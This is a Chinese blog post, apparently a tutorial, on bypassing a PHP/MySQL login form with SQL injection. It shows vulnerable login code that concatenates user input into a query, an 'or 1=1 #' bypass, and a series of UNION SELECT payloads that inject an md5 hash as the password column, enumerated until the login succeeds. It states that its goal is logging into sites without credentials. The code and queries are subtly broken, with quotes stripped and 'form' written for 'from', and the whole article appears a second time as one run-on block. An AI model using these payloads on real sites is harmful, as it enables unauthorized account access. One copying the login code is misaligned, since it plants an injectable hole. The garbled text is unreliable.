sql注入 登录 mysql_Web登录敲门砖之sql注入

在百度、博客园、oschina、github 、SegmentFault、上面都关于sql注入的文章和工具。

看过很多sql注入的文章。他们讲的内容大同小异,都是围绕一个“帮助单引号越狱“来展开注入。

可惜是:他们都只提供了思路、和可行性的方案和简单却不实用的demo,却没有具体详情对针web登录来做详情的阐述和举例。

本文将以具体实例 阐述web登录的sql注入,实现对网站免账号、密码的攻击登录。

当然,实现正面的sql注入需要以下几个条件:

1 、后台程序(注意是后台程序,前后可绕过)代码没有对用户名、密码的长度做判断。

2、后台程序没有对单引号进度过滤(如果数据库编码是gbk,过滤了单引号也存在宽字节注入。本文只讲普通注入);

3、登录算法只采用了一层md5算法

/**实例***********start**/

一、先看下这个数据表结构

--

-- 表的结构 `user`

--

CREATE TABLE IF NOT EXISTS `user` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`username` varchar(30) DEFAULT NULL,

`password` varchar(64) DEFAULT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

--

-- 转存表中的数据 `user`

--

INSERT INTO `user` (`id`, `username`, `password`) VALUES

(1, admin, fcea920f7412b5da7be0cf42b8c93759);

数据表里面存在一个admin用户,它的密码是1234567,md5加密之后的明文

二、看下后台代码

if(!empty($_POST)) {

$link = mysqli_connect(localhost, "root", "root");

mysqli_select_db($link, "test");

mysqli_set_charset($link, "utf8");

$username = $_POST["username"];

$password = $_POST["password"];

$sql = "SELECT * FROM user where username=$username";

$res = mysqli_query($link, $sql);

$row = mysqli_fetch_assoc($res);

if (md5($password) == $row["password"]) {

echo "登录成功";

}else{

echo 失败;

}

}

程序很简单,先到数据库查出一个 用户名username = 变量 的所有记录

再把从客户端拿过来的密码password md5加密 比对是否和原密码一样。

如果一样则登录成功,否则登录失败。

三、前端页面

四、发动攻击

我们的目标是越狱单引号。

如果后台的代码sql是 select * form user where username=$username and password= ".md5($password)." ;

那我的攻击就简单了。用户名:6666 or 1=1 # 密码:6666 ; 单引号之前的字符和密码可以随意填。

最后生成的sql是select * form user where username=6666 or 1=1 # and password=6666 ; 这里#号之后的字符都被注释掉了。所以密码被绕过了(之所以提出来。是因为网上大多数讲到这里就没下文了);

但是我们的程序是取出一个账号的所有信息,再比对密码。

我们希望 $row = mysqli_fetch_assoc($res);

$row 数组内有一个字段password,和我们提交的密码$password md5后一致。

于是巧构union查询:

用户名:6666 union select 1,2,md5(123456) as password# (这里md5(123456) as password很重要)

密码:123456 (这里123456,必须和用户名中的123456一样)

最后生成的sql语句是 : select * form user where username=6666 union select 1,2,md5(123456) as password

完了吗?貌似完了,不过有一点要注意。因为union 查询必须要列一样。所有你的尝试中可能会报错。不过可以依次枚举。

第一次 用户名:6666 union select 1,2,md5(123456) as password#

第二次 用户名:6666 union select 1,2,3,md5(123456) as password#

第三次 用户名:6666 union select 1,2,3,4,md5(123456) as password#

第四次 用户名:6666 union select 1,2,3,4,5,md5(123456) as password#

第五次 用户名:6666 union select 1,2,3,4,5,6,md5(123456) as password#

...

最多不超过30次就会出注入成功。最后取决user表中有多少个字段。一般来6-10左右。

/**实例***********end**/

最后要说的是,互联网web开发中,有太多人将不注重web安全,没有防犯意识,包括曾经的自己,甚至一些10年工作经验的老司机。实用性就不说了,再次声明:请洁身自好!

好吧,扯蛋到此结束。MD都一点半了,睡觉了。

author:小米飞刀

在百度、博客园、oschina、github 、SegmentFault、上面都关于sql注入的文章和工具。 看过很多sql注入的文章。他们讲的内容大同小异,都是围绕一个“帮助单引号越狱“来展开注入。 可惜是:他们都只提供了思路、和可行性的方案和简单却不实用的demo,却没有具体详情对针web登录来做详情的阐述和举例。 本文将以具体实例 阐述web登录的sql注入,实现对网站免账号、密码的攻击登录。 当然,实现正面的sql注入需要以下几个条件: 1 、后台程序(注意是后台程序,前后可绕过)代码没有对用户名、密码的长度做判断。 2、后台程序没有对单引号进度过滤(如果数据库编码是gbk,过滤了单引号也存在宽字节注入。本文只讲普通注入); 3、登录算法只采用了一层md5算法 /**实例***********start**/ 一、先看下这个数据表结构 -- -- 表的结构 `user` -- CREATE TABLE IF NOT EXISTS `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(30) DEFAULT NULL, `password` varchar(64) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; -- -- 转存表中的数据 `user` -- INSERT INTO `user` (`id`, `username`, `password`) VALUES (1, admin, fcea920f7412b5da7be0cf42b8c93759); 数据表里面存在一个admin用户,它的密码是1234567,md5加密之后的明文 二、看下后台代码 if(!empty($_POST)) { $link = mysqli_connect(localhost, "root", "root"); mysqli_select_db($link, "test"); mysqli_set_charset($link, "utf8"); $username = $_POST["username"]; $password = $_POST["password"]; $sql = "SELECT * FROM user where username=$username"; $res = mysqli_query($link, $sql); $row = mysqli_fetch_assoc($res); if (md5($password) == $row["password"]) { echo "登录成功"; }else{ echo 失败; } } 程序很简单,先到数据库查出一个 用户名username = 变量 的所有记录 再把从客户端拿过来的密码password md5加密 比对是否和原密码一样。 如果一样则登录成功,否则登录失败。 三、前端页面 四、发动攻击 我们的目标是越狱单引号。 如果后台的代码sql是 select * form user where username=$username and password= ".md5($password)." ; 那我的攻击就简单了。用户名:6666 or 1=1 # 密码:6666 ; 单引号之前的字符和密码可以随意填。 最后生成的sql是select * form user where username=6666 or 1=1 # and password=6666 ; 这里#号之后的字符都被注释掉了。所以密码被绕过了(之所以提出来。是因为网上大多数讲到这里就没下文了); 但是我们的程序是取出一个账号的所有信息,再比对密码。 我们希望 $row = mysqli_fetch_assoc($res); $row 数组内有一个字段password,和我们提交的密码$password md5后一致。 于是巧构union查询: 用户名:6666 union select 1,2,md5(123456) as password# (这里md5(123456) as password很重要) 密码:123456 (这里123456,必须和用户名中的123456一样) 最后生成的sql语句是 : select * form user where username=6666 union select 1,2,md5(123456) as password 完了吗?貌似完了,不过有一点要注意。因为union 查询必须要列一样。所有你的尝试中可能会报错。不过可以依次枚举。 第一次 用户名:6666 union select 1,2,md5(123456) as password# 第二次 用户名:6666 union select 1,2,3,md5(123456) as password# 第三次 用户名:6666 union select 1,2,3,4,md5(123456) as password# 第四次 用户名:6666 union select 1,2,3,4,5,md5(123456) as password# 第五次 用户名:6666 union select 1,2,3,4,5,6,md5(123456) as password# ... 最多不超过30次就会出注入成功。最后取决user表中有多少个字段。一般来6-10左右。 /**实例***********end**/ 最后要说的是,互联网web开发中,有太多人将不注重web安全,没有防犯意识,包括曾经的自己,甚至一些10年工作经验的老司机。实用性就不说了,再次声明:请洁身自好! 好吧,扯蛋到此结束。MD都一点半了,睡觉了。 author:小米飞刀
经验分享 程序员 微信小程序 职场和发展